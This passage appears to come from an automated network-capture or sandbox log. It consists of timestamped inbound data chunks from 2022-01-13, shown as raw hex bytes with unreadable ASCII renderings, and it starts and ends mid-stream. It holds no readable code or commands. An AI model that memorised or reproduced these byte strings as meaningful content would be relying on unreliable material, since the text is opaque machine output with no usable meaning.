a8 fd cb fe bd 58 7a 5b 62 fd 7f 29 ec cf e6 52 df cc 0f 0e f6 54 e2 95 ef 65 1e 63 09 Data Ascii: '"Zs`HXz@N\|(IkxC!~z \N1\|"J=L7ph8IDO8]&> '))JxwxU}[\|,?\3s<de&b1JO+k`eRd&1dOMO\|,}:)>+CMXz[b)RTec
2022-01-13 19:22:17 UTC	26	IN	Data Raw: 07 36 0e d6 32 98 06 19 77 0f da 9c 1d 82 45 45 1c 7e a4 f8 86 29 25 84 51 31 39 56 d2 ec b0 24 10 42 02 0e a5 9b 11 02 fa 0a 14 ea b3 5e 36 26 01 29 83 af d4 87 46 5d 46 de 9c 1d 87 d0 89 c2 7a 69 59 8b 45 a3 8e 1f 71 d2 cb 15 7e c0 b3 d9 7e f5 00 1d 9a 3f ad 68 6b 01 aa 2d 85 cb 6c bc 72 67 57 0e ed 8f cd f7 2d f2 fa 7f da 92 75 2e dc 9c 0d 70 b9 ac 05 61 0f 07 7b 32 36 4e 40 0a ee 70 f2 17 27 3e 7e 2d a8 45 99 95 c8 b9 b4 1e fd b9 6a 23 97 51 47 d3 c2 a4 72 f9 5c 78 c7 ce 9d 07 23 1e 7f c7 26 66 2c 8e d7 03 bb 1e 77 b5 e5 38 98 70 c3 12 57 c1 03 47 f8 4a de ca f5 6f 43 c3 a7 66 cf 1a ce ad ac 6c fe b2 7d 42 7c d2 4f 04 df 5c e9 63 f1 e6 e7 79 f4 e8 19 d8 36 19 9e 4a d2 19 21 1a 74 1c 20 69 bd 1a 67 e7 36 bd 10 57 c3 14 2e e0 8d be 9b e2 31 ce 9d 30 92 Data Ascii: 62wEE~)%Q19V$B^6&)F]FziYEq~~?hk-lrgW-u.pa{26N@p'>~-Ej#QGr\x#&f,w8pWGJoCfl}B\|O\cy6J!t ig6W.10
2022-01-13 19:22:17 UTC	28	IN	Data Raw: 37 17 dd 47 1d f8 e4 c0 bc 78 df 59 01 c3 32 1e 31 f3 78 d8 e4 e3 69 a0 70 c5 2c b5 7b 2e 07 31 3c c4 c5 b0 29 f4 07 33 3f c9 d1 6d 8b 91 f9 65 66 8e d6 93 97 ae 37 0b a0 77 9a 15 8b b2 81 b7 b9 14 26 99 80 3e 72 c2 30 7b 56 9f 3e a9 83 d6 9f 1b 5b 10 a0 0d 8e 3a 2b 1d 92 9b e8 ff 99 f1 99 96 7e 0b c3 0d 8f e4 37 c8 9b 16 58 f4 03 24 d5 11 aa 8f 85 82 2f 2a 68 94 30 6a 2a 66 eb 78 db b9 28 71 43 53 0c 48 ca e0 3b 16 32 ff d3 d0 ab b2 a5 ef d0 ff b2 7a b4 a5 f0 bc 67 19 22 3f b6 90 18 21 48 cb 3d fb d2 6b 68 fb 3f db 44 54 0d ab bb 1d 88 ec cf 15 9d fb 3e 50 be b0 cb 9d 83 cb 7c 2f 7d 45 b0 27 18 19 dd 82 2f 7d 3a 8d bc c4 7c dd 15 32 00 f3 94 63 97 88 2e e1 0e 3f f5 c2 70 c7 1d 00 df 59 05 83 a9 80 19 a8 f0 de ec e5 58 5b 08 cd 0e ab bd 45 4d 41 2d 6d 70 Data Ascii: 7GxY21xip,{.1<)3?mef7w&>r0{V>[:+~7X$/h0jfx(qCSH;2zg"?!H=kh?DT>P\|/}E'/}:\|2c.?pYX[EMA-mp
2022-01-13 19:22:17 UTC	29	IN	Data Raw: 36 41 da e7 25 c2 b3 b2 3c c3 8e 75 78 ef eb a1 34 7d 44 94 29 f6 dd f3 d5 84 96 c4 ed 68 fd 4b 26 71 97 46 c7 2c 70 14 b8 e6 d4 10 8c 1b fe 4b 4d cc f7 2a 98 8a ec 1d 63 1f e0 c3 ab 0a b9 f0 ad ba 9c 7b ae b2 88 4c dc 83 d2 c4 69 06 b9 3d bd 4c 97 9a ea da e0 cd 6a ea d7 52 d7 4b 4e c7 6a 7f 1b 9b a0 52 8f 2a f0 16 f0 b3 1d c0 6d fe 74 7f ae b0 33 38 91 9e e5 59 08 07 1e 3c 4f c3 ef 57 8b d1 1c 2b e3 ae 21 88 4b 54 a8 68 c7 69 7f 6b a7 85 ab c4 d8 73 36 14 4c 60 22 0e 18 83 f2 7f a7 0f cb c8 00 d5 38 8a dc f6 df 73 d7 27 13 d1 12 12 38 c4 a4 b5 01 33 0f 7d 58 1a 66 ec f3 bb d7 e1 77 b8 d5 01 b8 85 ab 4e b3 f1 54 08 51 42 64 f0 53 b6 5a a6 6d f6 a0 65 5e 95 48 2e 61 27 87 61 c7 14 11 cf 8c 98 29 d3 bf d0 b7 a5 24 67 9a 31 92 c7 1f 7b de 8d 09 39 e1 40 33 Data Ascii: 6A%<ux4}D)hK&qF,pKMc{Li=LjRKNjRmt38Y<OW+!KThiks6L`"8s'83}XfwNTQBdSZme^H.a'a)$g1{9@3
2022-01-13 19:22:17 UTC	30	IN	Data Raw: c3 b6 33 93 54 24 0b 2f 4e 9e 1a 2f 34 39 f6 96 e1 ac 36 b5 0d b1 f6 e8 5e 04 b7 bf f0 b4 af 18 4f e7 10 17 96 09 9a 2b 83 23 1a 84 eb 6c 2b 6b 94 83 cd 67 44 db b9 c1 e7 2a 70 e4 59 df 9c b5 b6 ae 72 57 d8 0b 72 b8 38 78 37 3c 96 c9 6c f9 5a 8c 6f 61 da dc a9 30 4f 63 9a 30 2c 9f d2 c0 43 ec 84 df 4a c1 41 89 c3 50 d6 38 ec c7 da 4f 1b 8c fa ef 2f 9b ec 03 36 4d 8e c3 b8 3c 6b 5d 38 84 72 e9 e3 03 20 c0 86 5e be 68 38 35 c5 0e d3 44 6e 5c 58 2f 36 b4 27 80 ef 22 9f 86 51 28 18 5f 29 35 e5 3e 35 30 a6 7a be ca ee f9 d0 91 25 55 06 b2 3f a6 0b d1 f6 aa 2e 14 e0 52 bc 9c ea c5 40 2a 10 17 8c 5f 61 d1 a7 8a 36 bd dc e3 19 d3 6b 74 b7 fd c0 cc f3 52 b4 a0 70 b7 94 90 66 9a 2b 60 96 7b 24 e6 10 20 65 08 b5 de 32 af 33 f4 5b fd 56 ff de 05 49 d9 68 92 75 ae 2b Data Ascii: 3T$/N/496^O+#l+kgDpYrWr8x7<lZoa0Oc0,CJAP8O/6M<k]8r ^h85Dn\X/6'"Q(_)5>50z%U?.R@_a6ktRpf+`{$ e23[VIhu+
2022-01-13 19:22:17 UTC	31	IN	Data Raw: 03 c7 b4 dd a1 df d8 d9 e6 cc 8f f4 31 4e fe 24 f3 6f f5 39 45 ae 48 ca 45 8c 95 e6 4f 23 92 d6 72 0c cf 24 06 b1 0d 44 94 73 55 bc 26 72 b1 8f 60 1d 5d 14 23 00 e2 cd 9a df ec 1d 6e 44 f7 3c d7 63 27 76 16 e3 56 52 19 b3 0e b4 ea 0d 7f 99 cd cb 0f d3 09 7c 67 2e 6a 71 42 15 50 3c a6 71 28 31 10 e7 b5 30 c1 1c e4 32 ac df 9e 94 d9 ce 91 12 62 08 40 bb 16 11 ea b5 19 66 ba 6d 33 1f 16 b2 e6 98 fc f1 3f a9 c8 46 f9 96 12 93 1d e7 0f 0d 46 d7 60 39 42 ca ff f7 ab 81 4d 33 db 8a 6e 8d 14 90 e5 83 fe 72 ce 22 4a 96 51 ca 5d 43 25 43 0d 88 0d 17 0d 07 42 54 b4 3e fd bc 35 76 50 5c ff 65 e9 78 c7 e6 50 65 ea 9a ab 56 10 99 21 fa 7e 62 31 92 8b 56 76 76 db e5 e2 e0 a9 f9 d5 7f 94 28 7d b7 5e 44 64 51 f1 35 0b 54 11 6f 70 d7 74 a0 f5 8f f3 bb b1 20 0c a7 d0 e2 5a Data Ascii: 1N$o9EHEO#r$DsU&r`]#nD<c'vVR\|g.jqBP<q(102b@fm3?FF`9BM3nr"JQ]C%CBT>5vP\exPeV!~b1Vvv(}^DdQ5Topt Z
2022-01-13 19:22:17 UTC	33	IN	Data Raw: e3 01 2a 44 ce a6 0e 5b 49 b9 85 85 7f 21 01 4d 26 79 2c 54 a0 74 bd 62 61 7b 8a 50 9a 13 72 0e 39 c3 58 f9 95 fd ea 01 f2 08 d7 78 d4 e4 a5 85 d9 1c f6 d1 05 4e c7 6c 29 5d 0b 9d 93 d3 d9 ed b2 4c cc f8 0e 0a fe 51 62 c4 8a 88 75 8f 0e 04 a4 f1 62 47 3a e0 e5 4b e3 08 2f 7b 43 53 dd e8 b1 ff 6e 2a 84 b8 30 4c 63 e1 9e 87 c0 98 f1 d7 bb cd 6c cb 96 90 93 18 50 81 44 83 44 be c4 91 6c 73 d4 04 b7 e1 67 ee 33 11 cf 2d ef 89 22 86 53 19 b0 c2 54 1a 64 df 6c 2e 80 c2 c4 9e 18 89 df 16 40 3a 6f d8 7b e5 60 21 5d 90 eb 1a 7b d5 8e 4a 06 3d cc ca d5 03 b8 32 a7 9a a6 12 4e d4 84 33 dd 57 f2 5b 7e b1 1a d5 31 86 4d 4e 90 7a c8 27 11 89 da 86 58 e5 25 fb dc 90 8b 68 96 76 3d f5 b7 1a ed 37 42 fc 30 12 cc 5d 68 8b 30 f7 a3 cb 0d 1e 75 2c 12 5e b4 69 45 ed 12 17 10 Data Ascii: D[I!M&y,Ttba{Pr9XxNl)]LQbubG:K/{CSn0LclPDDlsg3-"STdl.@:o{`!]{J=2N3W[~1MNz'X%hv=7B0]h0u,^iE
2022-01-13 19:22:17 UTC	34	IN	Data Raw: 33 85 62 64 94 7c bf 5f 1b ff 28 af b3 a7 3b d6 f6 45 99 80 d0 55 65 0f de 99 91 89 d5 fa e1 16 5e 4c 12 31 ce aa a1 54 b1 27 d9 56 26 84 94 3e a4 2b db cf 43 21 4c 1a 95 ea a4 69 25 4d 38 c4 c3 4a 5d f6 41 aa 8c 65 ed 1e 3c 4f a7 94 e3 97 0b 41 e0 e0 00 47 22 e7 2f 93 24 25 34 e6 60 a8 c3 bb da d8 cd 89 3f e8 c8 17 0a eb 27 1b 9c 59 38 36 ca 9a 7b d5 8c 4e d6 68 44 29 17 c2 c0 54 68 81 c1 fd 63 f1 3d cc f3 c4 82 9e 2b aa 4c 42 24 e7 cd 17 99 3d 06 68 de aa e9 24 5a 3d cd ce e9 ce fd 36 62 d6 6a 3f 08 77 7d 3a 47 9e bd 94 7d 38 53 b7 bd 4e 78 59 ae 73 34 77 39 61 c6 ce f3 51 1e 15 7d 5a 32 6d e9 e5 40 4b 59 be 33 99 e9 7a 92 ae 01 f2 14 57 38 39 c7 04 af a9 a2 0f c6 75 31 7d e1 e4 51 51 17 29 de 38 a4 6d 48 df 56 f9 99 8e 61 7c a6 53 48 e3 f2 87 8e 1e 17 Data Ascii: 3bd\|_(;EUe^L1T'V&>+C!Li%M8J]Ae<OAG"/$%4`?'Y86{NhD)Thc=+LB$=h$Z=6bj?w}:G}8SNxYs4w9aQ}Z2m@KY3zW89u1}QQ)8mHVa\|SH
2022-01-13 19:22:17 UTC	36	IN	Data Raw: 8d 8c f7 a3 90 18 56 cf 7a a8 0a 2a 80 20 dc 4f 23 15 9a 8c 56 70 10 89 c5 48 d1 30 1f e8 b1 b5 d0 ef 2c 84 56 eb 9a d7 d6 85 cb 63 73 b2 9b 20 67 03 22 15 d6 d2 4c cc e9 87 60 2e 1e 7e aa 5d 2c 88 0c d6 e7 24 59 ad b8 33 23 23 9b 4a 17 b6 d3 69 0c 46 da 1a 8a 3f 5c fa 2e 78 5a de 9a 7d 34 e4 87 94 ec bb 5a e1 b7 2f 5c ff cb 6f 68 ee 28 96 bb 51 4c ce e2 8d 68 83 d4 6c 35 35 96 61 7f 5c 4b 9e 69 82 a0 30 74 02 c2 03 67 89 cb 6f 1a f7 bf 8a 30 6d dc 7f 08 b4 24 7c be cc f6 56 28 e3 2f e7 23 ff d9 92 24 5d e4 e3 37 08 ff ff 3c 74 82 d4 be ca 32 a1 12 b4 33 9d 83 c9 02 c9 75 25 46 1d 94 f8 a5 37 4b 8a 27 55 f7 d2 e5 2c e1 5c 90 2d cb c3 a7 52 ab fa 5a 7f 2a c6 c9 77 20 0c 0e 22 17 bc df 78 cd 74 b1 00 76 d9 ea 33 5d 7d 22 7e e3 63 a1 cb 06 fb d7 65 43 2c b2 Data Ascii: Vz* O#VpH0,Vcs g"L`.~],$Y3##JiF?\.xZ}4Z/\oh(QLhl55a\Ki0tgo0m$\|V(/#$]7<t23u%F7K'U,\-RZ*w "xtv3]}"~ceC,
2022-01-13 19:22:17 UTC	37	IN	Data Raw: 1e 12 58 fb d0 f6 2b 78 b7 b3 54 02 c3 58 e5 3d 3e 1e 03 56 4e 7d ba a2 17 c9 75 ac f7 c5 45 a9 43 db b6 fe 3d 1f cd 6c 8d f8 4e 4b b1 b7 bb 81 cd 6b 07 2f 66 66 8f 48 62 f8 59 6f 0f b7 bc 08 df 83 24 10 5d 65 1b fb 5e 22 7f da 3f 72 c3 ef f1 50 68 56 fb c0 c2 a3 c4 22 e0 25 38 6e e7 80 be 0e 40 fe a2 0f c1 f3 72 62 2c 32 69 b2 87 b1 b4 39 b1 d8 f0 11 6b 9d f7 d0 ec bb 30 04 ac 26 29 9f e9 b7 71 54 96 67 11 dd 43 01 31 9a d1 73 36 87 56 f4 5c 59 d7 66 f9 86 3d 3f 54 80 56 6a 29 87 d0 46 1b 65 16 1c e4 bf 4b ee 9a e3 69 02 d5 04 a1 4a c3 57 7e 0b 0a db e4 7f ac cc 8d ec b3 b0 81 2a 26 64 9b fe 35 0b 21 f0 da 8d 29 97 f8 42 d5 a3 f5 67 96 8f eb 3e 37 a1 11 54 24 6a 92 78 e7 20 74 b5 b8 5f 65 27 07 37 ae 80 fd c7 73 2b 92 16 fb 7e 6f 14 4a c6 a6 17 3e ba da Data Ascii: X+xTX=>VN}uEC=lNKk/ffHbYo$]e^"?rPhV"%8n@rb,2i9k0&)qTgC1s6V\Yf=?TVj)FeKiJW~*&d5!)Bg>7T$jx t_e'7s+~oJ>
2022-01-13 19:22:17 UTC	38	IN	Data Raw: 2a 1e 91 1c 6d 10 e5 bc 76 55 65 12 51 e7 e4 ab dc 8a 27 0d c5 4d c3 b7 c7 00 a8 18 fd 60 2d f9 8c 24 38 2a 7e fc 57 81 33 9d 9b 4a 06 da 1c 18 8e 0c e8 1b 5c f0 be c6 ad a7 83 75 28 00 05 9b 44 bb 56 f4 49 f8 88 4f 2d 88 6a 1f fe 5a 72 ce f4 3c 8b 74 5f 7b 3f ae 4e b0 29 45 03 3c 32 a0 d7 6a 28 d2 9b 4b 12 4a db 1c c4 3f b3 0c 8f af d4 96 0f df 5a 80 4a cb 85 03 47 17 1b e8 a6 0c 5a a1 2c 37 ec 7d 2b bd 21 e9 a5 52 57 54 ea b7 f4 56 d3 13 7c a4 ab b0 c9 74 b0 2b e7 ae fb 8b df 0c 40 2f fc fd 38 ee b9 4e c7 1c 38 8a f6 9b f6 4d 58 e0 f2 b9 5a f3 80 ad 33 2b 53 12 41 c7 ba 7d 22 f2 5f 77 2e cf 97 21 f2 49 4b b6 34 01 ba b3 7b 6c ed 50 c0 76 24 6e 87 70 e9 4d f3 29 48 a6 8a ba ba b5 af 38 52 de 88 ba 00 2d 26 c4 b4 4d 5d 71 9c da d6 eb a0 71 2f 62 b5 11 28 Data Ascii: mvUeQ'M`-$8~W3J\u(DVIO-jZr<t_{?N)E<2j(KJ?ZJGZ,7}+!RWTV\|t+@/8N8MXZ3+SA}"_w.!IK4{lPv$npM)H8R-&M]qq/b(
2022-01-13 19:22:17 UTC	40	IN	Data Raw: e6 f5 8a 0e 13 bc d5 a3 42 33 93 54 24 0b ba c2 6c 11 dd 1f 5f b0 40 dc 5c 8f 50 db 14 4a c1 c0 6c 13 bc 9e 60 a4 46 92 3a 41 b9 a1 40 3a 21 44 e2 e1 72 bf 06 3d b5 b5 0c 80 35 27 34 61 96 53 50 ca e5 89 8c dd 6a d4 98 2e 52 97 a1 f5 c6 8d 2f 8c 4d e0 4f 23 98 7b d1 8d fe 56 5c 25 8c eb ec de 74 61 60 f8 54 72 4d a4 6f 57 03 6f 5f 2f cf 15 c6 31 4c de 96 cc 33 ef 5b 77 4d d2 e0 91 0a 78 c8 5d b9 25 14 b3 be d7 17 7c 5b 8e 06 ef 43 ed 67 54 b7 d2 ec c3 98 76 a9 2e c1 25 9b f4 4a 32 10 51 b9 94 15 38 e6 f9 8a f0 fe de f3 89 b2 67 58 a7 d5 07 2b 82 96 66 98 c8 3d cb 01 31 ba 36 07 31 28 d9 65 eb e2 c6 66 2c e1 9e 64 d5 02 f6 04 f5 82 3a 2c 37 76 b2 31 27 3b d2 85 ce 3a da 84 55 df df 63 b7 6e c2 20 f9 2d 38 9c 6a f6 a1 89 db 05 33 2d 3d f5 c5 56 fd c9 67 49 Data Ascii: B3T$l_@\PJl`F:A@:!Dr=5'4aSPj.R/MO#{V\%ta`TrMoWo_/1L3[wMx]%\|[CgTv.%J2Q8gX+f=161(ef,d:,7v1';:Ucn -8j3-=VgI
2022-01-13 19:22:17 UTC	41	IN	Data Raw: fa 8e 1d 0e a4 16 3a 4d d1 f2 dc 30 ae 57 7b 94 46 ac 8d f8 31 00 e2 fe 2c 1f 0a bf 5d 64 64 42 3e d7 dd 49 40 75 75 ec d9 0d ee aa 27 eb 7f 27 80 40 47 2f 99 ff 30 d3 0e 94 74 ef 7c 74 8a 9c 45 28 a0 13 4a b5 cf 06 ef ca dd db 15 da 97 eb 91 40 f5 19 e7 54 36 7b 2b 87 c0 71 b4 2d 8e 67 13 6a 5a 16 27 fe 86 d8 42 45 9f 88 57 70 ad 75 ca a0 06 17 c7 dd ab 60 f0 0a f5 fd 8d b5 fa 9c 3e 49 eb 2c e3 0b d1 70 a9 94 07 65 13 c0 db 16 c5 e4 bb 53 56 f8 04 aa 4f 83 23 fd d9 19 ca e9 28 02 a4 05 79 47 5c f5 6f 8b c9 78 b4 21 91 eb af a5 87 d8 21 b7 dd ff 11 bb f3 e5 28 be df 42 ce 58 96 10 1a 1d 26 9b 6e a5 5a eb 45 cd 43 52 e3 1c 67 08 b9 9b dc e6 21 48 65 1d f8 53 53 e2 21 b0 0e 17 d0 dc cc 48 ed 73 ea 76 e2 23 3e 45 03 5b d2 f9 5c 1b 80 fc 6f b4 d7 7f 6f fa 36 Data Ascii: :M0W{F1,]ddB>I@uu''@G/0t\|tE(J@T6{+q-gjZ'BEWpu`>I,peSVO#(yG\ox!!(BX&nZECRg!HeSS!Hsv#>E[\oo6
2022-01-13 19:22:17 UTC	42	IN	Data Raw: b0 2a d5 cc ee b5 ba 50 2a 11 1e b2 30 0a e9 24 dd 32 ee 9d 76 8c 57 fc 99 2a 10 5a ec 22 f3 c0 17 ec ad 47 82 b5 8e b2 78 95 52 9c 09 97 9c 08 59 38 24 ac e7 2c 13 8f e9 8f dc 77 07 cf 48 c7 fd 0d 17 d9 01 23 32 23 fd 7f 54 68 b7 6f 4c ea 09 2e 86 9e 96 96 62 28 bc de 18 87 ca 0e 99 36 02 af a8 8d 83 c7 be 02 a1 9d e3 09 af fe 5d a5 b2 34 88 ba ba e0 44 6c bf ef 40 23 57 7b c3 4a 4b 52 db d3 aa ee ba d5 78 19 64 84 9c c3 5b 78 5d 79 a4 5c ed a1 4b 44 16 80 16 73 8e b9 e7 6a 83 03 19 c3 c5 ed 3c 84 ff da 22 26 6c 3b 85 47 7d ec 7e a2 0f 95 eb c4 ee b0 b3 79 ec a2 08 b0 98 a0 0b 66 58 6b 32 d5 36 39 39 4e d8 25 46 cd a1 a8 03 b8 4b 5e 6d 52 d4 51 d4 ea 01 34 6b 64 24 88 46 dd 1d 7b b6 44 97 99 e4 97 60 74 a3 8b c4 7e 5e 80 53 81 5f ce 87 45 f8 32 0e 98 d0 Data Ascii: P0$2vW*Z"GxRY8$,wH#2#ThoL.b(6]4Dl@#W{JKRxd[x]y\KDsj<"&l;G}~yfXk2699N%FK^mRQ4kd$F{D`t~^S_E2
2022-01-13 19:22:17 UTC	44	IN	Data Raw: 43 50 30 af 6e 26 bc 20 c1 fc bd 8f 03 ee 05 85 72 14 94 d1 b7 0f 39 41 53 9b 1c bb a0 ed da 66 55 dd d5 cb d4 1f 05 fa e9 fd 63 ee 47 f8 93 54 28 af 5b 9d 67 d6 3e e6 4d e6 49 ab 7c 04 91 08 5e 13 64 47 ab 9d 37 17 69 f3 03 cd 58 08 5f 91 55 bb aa 07 d9 f8 a0 e1 c5 b6 0e f6 a6 f8 a2 d7 bf 78 05 81 7e 4f 83 23 d9 bb ad 4c 7f 0a 53 69 fa bc 7a 0d 10 fe 5c 1f 59 d9 ea 7b 80 5e 44 d8 29 32 d9 ed 2c ed d7 e6 4e 19 68 94 82 f7 23 05 ec 5c ea 40 d2 1f 0d 18 e6 b8 d9 bb fd 3c b8 e7 79 5a 3b 2c eb b5 20 93 e0 89 c2 d4 be dd b3 fc 2e 87 0a 14 db 18 c3 e1 13 72 14 6c 99 f8 92 ae 22 71 b2 28 e7 89 35 fe ec b7 bc 36 e0 36 5d 61 b6 22 69 ff 4d 96 6d 2c e9 98 9e 7d ad 13 d3 00 7e cd 12 88 f9 ac 2b 92 78 af d7 cd 8a 5f 04 66 63 1e 76 ad a7 8f e9 09 3f 98 ab a5 83 a3 5d Data Ascii: CP0n& r9ASfUcGT([g>MI\|^dG7iX_Ux~O#LSiz\Y{^D)2,Nh#\@<yZ;, .rl"q(566]a"iMm,}~+x_fcv?]
2022-01-13 19:22:17 UTC	45	IN	Data Raw: d2 24 0d 54 98 7d 5c ef c6 c8 e0 82 ab 6e 80 d6 60 ea 18 81 9f e7 bf 37 de 06 01 22 12 ee 52 a6 bd fe 58 81 8c 5a bf 51 58 c0 48 2c 1a c5 64 c6 0e 92 59 0b 48 3a 44 ad bb f0 ab c3 2a 71 80 1f 90 c2 6e 84 0d aa 31 14 3f b7 b4 91 1f f0 31 a0 5b df ac 27 58 93 ff 48 ad 1d e4 13 15 d7 db e7 2e 8c 5c a7 98 a1 37 b2 65 1b bd 4a 8f 5a 09 40 76 c1 b8 f3 8f 8a 08 16 ec c1 06 a1 62 9f 93 51 13 d4 1d 95 e0 61 53 16 f8 39 47 e3 f7 c1 f4 ae 34 1b 10 7e 5c 15 ca ad 23 88 8b a9 25 f9 d5 9c 02 2b d2 f1 f0 a3 8c 4a 7b 2b d4 ab b8 dc 66 93 b3 9d 9c 77 95 3c 28 72 34 ff df 17 1e 09 30 0a 0e 99 f3 c0 0c 11 64 83 23 c0 9e fc fb ab a2 4f 28 9e eb 26 04 cf 63 94 05 3d b6 97 44 27 1e 00 19 2f 4b 47 27 e2 07 53 5d 67 95 1e 60 87 d7 e7 56 f8 4e 67 c9 15 c8 3b e1 bf 46 8a 09 69 bc Data Ascii: $T}\n`7"RXZQXH,dYH:D*qn1?1['XH.\7eJZ@vbQaS9G4~\#%+J{+fw<(r40d#O(&c=D'/KG'S]g`VNg;Fi
2022-01-13 19:22:17 UTC	46	IN	Data Raw: 5d d8 fb de c8 43 82 00 69 80 39 d3 89 ea f9 89 7d 5a 81 92 28 93 cd 32 d7 ad 99 86 45 38 8f e3 ff dc ca ed 31 97 94 01 78 f1 3c 29 99 e4 5e f4 df af 0a be de 81 b1 d2 3f 56 7a a6 12 5f 7a aa 66 ef 21 e2 67 2f dd 19 c4 c1 4a a6 b4 a9 0b c9 63 0f b0 62 10 d4 54 e8 a0 0b d2 4e bd 53 50 4e 59 15 9e 01 be 7b a0 19 d2 f7 ab e4 a1 ca db 1e 76 ca 93 4d f2 d6 8b d1 66 e7 77 25 01 24 64 99 62 69 89 dd 07 22 cf a4 9c b5 6a dd 7e 0b 37 e4 d5 da 32 ed ab a6 04 b1 57 83 02 ea a6 b4 f3 35 31 90 66 9d fc 5f 14 32 04 bc 26 a1 8e 12 e1 84 ed 2b 95 f5 ac 58 e8 f4 3d ac 2d 29 31 22 e0 92 63 16 ba 11 c3 2e 17 93 9a 7d 21 59 c0 7a a6 06 b3 d0 e9 95 8b d0 f1 a3 e6 3c bc c4 b0 2d 85 d9 c8 ff dd 03 54 70 48 27 ed 36 11 a8 b0 c5 c6 ad ae 3f aa 35 8e f9 aa 86 30 0d 1a 76 bf 58 7a Data Ascii: ]Ci9}Z(2E81x<)^?Vz_zf!g/JcbTNSPNY{vMfw%$dbi"j~72W51f_2&+X=-)1"c.}!Yz<-TpH'6?50vXz
2022-01-13 19:22:17 UTC	48	IN	Data Raw: 48 c4 8c b7 bf 48 af 05 73 2a 1a be 1a 78 b3 5e 20 0f 9a 26 27 b1 71 d9 0d 63 dc f5 ee e2 30 9d 23 17 1a fe 3b 4a c6 2e 11 a5 f4 20 30 50 3c 8f 80 96 24 69 7f 1c d2 e7 73 28 5e e5 f7 23 e1 4b 57 9f 82 9f 6d 15 9e 18 12 5c 3c 91 e1 57 71 39 bf 86 be 19 c7 7d 3f b5 a3 89 42 d0 22 3e 36 70 b2 9b 9c 18 52 4a 8f 9c 49 0b bf 5a 26 42 37 af 02 4c 77 48 dd 0d 9e 29 fc 71 5b 21 f4 0a a1 e2 3e 0b 6a 5f ed 5b 62 93 ab 0e 00 ca f1 1c f1 3c 3e 70 45 39 b6 40 99 f6 45 2f de 99 ad a9 f9 89 c7 af 37 a8 0d 6c b6 83 01 cb 87 e9 60 7d a1 e6 6b 6f 43 b5 00 a6 16 44 ab 82 01 cc 96 d2 a3 eb 20 4f f4 57 70 c7 2c 13 8b ca 89 97 ec 2a a2 0f d4 53 74 1a b9 bf f4 69 50 88 fb 3c 51 28 5a ed 36 7c b8 3c 34 a0 d7 7a 0c 9f d0 8a c1 2e f4 02 ad 0f 72 af ca 95 fb 04 c2 ce ec 51 9c 62 34 Data Ascii: HHsx^ &'qc0#;J. 0P<$is(^#KWm\<Wq9}?B">6pRJIZ&B7LwH)q[!>j_[b<>pE9@E/7l`}koCD OWp,StiP<Q(Z6\|<4z.rQb4
2022-01-13 19:22:17 UTC	49	IN	Data Raw: f9 dd 1a b8 b0 33 9a 94 b2 30 70 09 9b 11 bb 49 4e bc 8b a5 8f 5e 5b 77 23 43 7f b8 ce 2a 56 01 54 73 b9 b6 36 0c 51 20 f4 fd d7 95 46 d3 dc 34 ec be c5 5a fd 13 d0 f1 26 ee 0f 43 a2 0f c1 16 44 42 31 f2 3c 3c 35 0f 6f 90 69 1b e0 e7 b4 eb 9b 99 fe 54 a3 92 10 5b 77 25 a9 dc e1 b3 09 5b 72 fe 72 ad ae 8d c2 60 2a f9 76 95 b5 d3 33 24 08 ac 0d 55 66 88 35 c8 fb 83 d0 8c 15 ce 69 bb 4a d0 41 79 47 e3 3e 38 21 56 a4 08 58 17 bc cc b7 ca a2 e4 db 14 97 52 c2 cb cb 0f b9 2c 4f 59 23 ff a3 c7 7b 75 8c 5e e0 21 24 19 40 da 89 d4 48 43 b7 a6 8e 2f 8d 0d e9 78 dd 40 3b f2 5c e3 ea 23 ee b9 f7 09 31 fb 7f 27 4c be cb 73 55 11 a0 0a 08 25 f8 43 53 9f e3 b4 74 ba 7f ec f2 31 db 07 79 27 f7 b3 3d b2 3b 05 eb 3d d7 ae b6 ea db 13 c0 af d0 9e 1c 33 3f a7 95 11 18 3b 57 Data Ascii: 30pIN^[w#CVTs6Q F4Z&CDB1<<5oiT[w%[rr`v3$Uf5iJAyG>8!VXR,OY#{u^!$@HC/x@;\#1'LsU%CSt1y'=;=3?;W
2022-01-13 19:22:17 UTC	50	IN	Data Raw: f4 41 b9 48 df 0f 39 b4 25 41 60 9b 4a 10 29 31 93 e8 a6 11 64 3c 03 28 14 42 92 fd 1c 65 0b cb 0f ba de a2 02 a4 0c af 6a e8 1f 30 71 cf 46 dc 88 4e 4f cf 82 43 b6 37 c4 79 8a c9 6d 12 5b 0e e7 b1 f0 b8 37 a0 75 51 50 9c c6 c0 c7 8e ac 4a 63 b3 e1 0a a8 00 4b 97 8d 59 be d6 9b f0 d3 66 de 9f 81 c6 4e 48 85 ce f9 c6 72 06 ee bd 57 7f aa 52 bc 60 14 e0 0a 09 43 ac 28 0e 27 82 38 27 3a 15 c5 5c 84 ec d8 81 a3 3c 45 e0 24 4d 58 e6 b6 49 d4 12 41 de e9 51 fd 94 6e 3c 60 e6 a2 40 cc eb 38 9a b4 c8 4c 1a 3b d2 5e 14 05 3e 26 7a c6 bb 57 c7 65 1c 7e 5c 3d cc a7 c9 f1 01 72 76 05 c3 08 a5 87 d4 bb f6 36 5a ea 00 0c 64 89 cb 7e db a6 f0 b9 34 75 57 c6 40 e4 aa 32 1d 88 34 65 7e ae 73 0f d6 86 f0 24 3c 30 1f f9 3f 7e 46 2d 44 ca 91 84 36 1a 78 a9 82 58 57 ad db 52 Data Ascii: AH9%A`J)1d<(Bej0qFNOC7ym[7uQPJcKYfNHrWR`C('8':\<E$MXIAQn<`@8L;^>&zWe~\=rv6Zd~4uW@24e~s$<0?~F-D6xXWR
2022-01-13 19:22:17 UTC	52	IN	Data Raw: 4a ae 30 0e fc 9d e6 4d b2 75 50 ca f8 1a 08 02 5f 09 3c 48 37 e0 99 fd d7 b0 92 08 bf 03 4b 1e db 68 97 f2 24 6b ad 2a 07 2d 67 c0 b6 6d 24 77 2d 97 66 15 fc 44 36 0b b5 c7 78 c2 c6 dd 17 7b 35 3e 8c 42 43 2e 67 26 0e e1 fe 4c 84 c7 77 2c 09 a0 b6 5d 1d 90 ce aa 30 c8 0e 90 62 94 64 8c 47 5f 63 cb 87 e6 d5 7a bf 4c 42 7c 95 51 03 04 1e 3a 0a 15 9a 45 e5 6e bd 52 92 5a f7 c6 31 4d 30 a1 4d 33 79 2f 88 49 5a 47 08 bd af ef 50 a3 7d ff d4 ef 3f 14 2e 66 fe 03 34 b3 52 cf 1e 33 ee d5 0a ac 9a 55 6c 97 4c 18 38 c3 0c 40 56 5c 61 60 f4 44 ac ad de 78 e8 d3 0b 30 33 89 dd 0a 5f f9 bd c9 1c 85 03 35 93 fe ee 22 